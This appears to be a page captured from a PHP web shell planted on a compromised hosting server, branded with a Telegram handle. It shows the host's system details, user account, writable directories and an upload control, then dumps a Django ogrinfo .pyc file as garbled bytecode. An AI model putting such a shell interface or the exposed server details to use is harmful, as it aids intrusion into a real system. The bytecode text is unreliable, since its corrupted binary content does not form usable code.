https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/gis/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/gis/utils/ogrinfo.pyc
�
r�\c@s<dZddlmZddlmZdd�ZeZdS(s�
This module includes some utility functions for inspecting the layout
of a GDAL data source -- the functionality is analogous to the output
produced by the `ogrinfo` utility.
i����(t
DataSource(tGEO_CLASSESi
cCs�t|t�rt|�}nt|t�r0ntd��xbt|�D]T\}}d|jGHd|GHdt|jjj	GHdt
|�GHd|jGH|jj
}d|dd	!|d	d
!fGHd|GHttt
|j��}d|}x�t|| �D]�\}}d
|GHx�|jD]v}	||	j}
||	|
f}|j|	�}|r�t|t�rod}
nd}
||
|7}n
|d7}|GHqWqWqIWdS(s�
    Walks the available layers in the supplied `data_source`, displaying
    the fields for the first `num_features` features.
    s>Data source parameter must be a string or a DataSource object.sdata source : %ss
==== layer %ss  shape type: %ss  # features: %ss         srs: %ss      extent: %s - %siiis%Displaying the first %s features ====s %%%ss: %%ss=== Feature %ss ("%s")s (%s)s (None)N(t
isinstancetstrRt	Exceptiont	enumeratetnameRt	geom_typetnumt__name__tlentsrstextentttupletmaxtmaptfieldst	type_nametget(tdata_sourcetnum_featurestitlayert
extent_tuptwidthtfmttjtfeaturetfld_nameRtoutputtvaltval_fmt((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/utils/ogrinfo.pytogrinfo
s:		
	
	
N(t__doc__tdjango.contrib.gis.gdalRt"django.contrib.gis.gdal.geometriesRR tsample(((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/utils/ogrinfo.pyt<module>s+

https://t.me/AnonymousX5 - 2025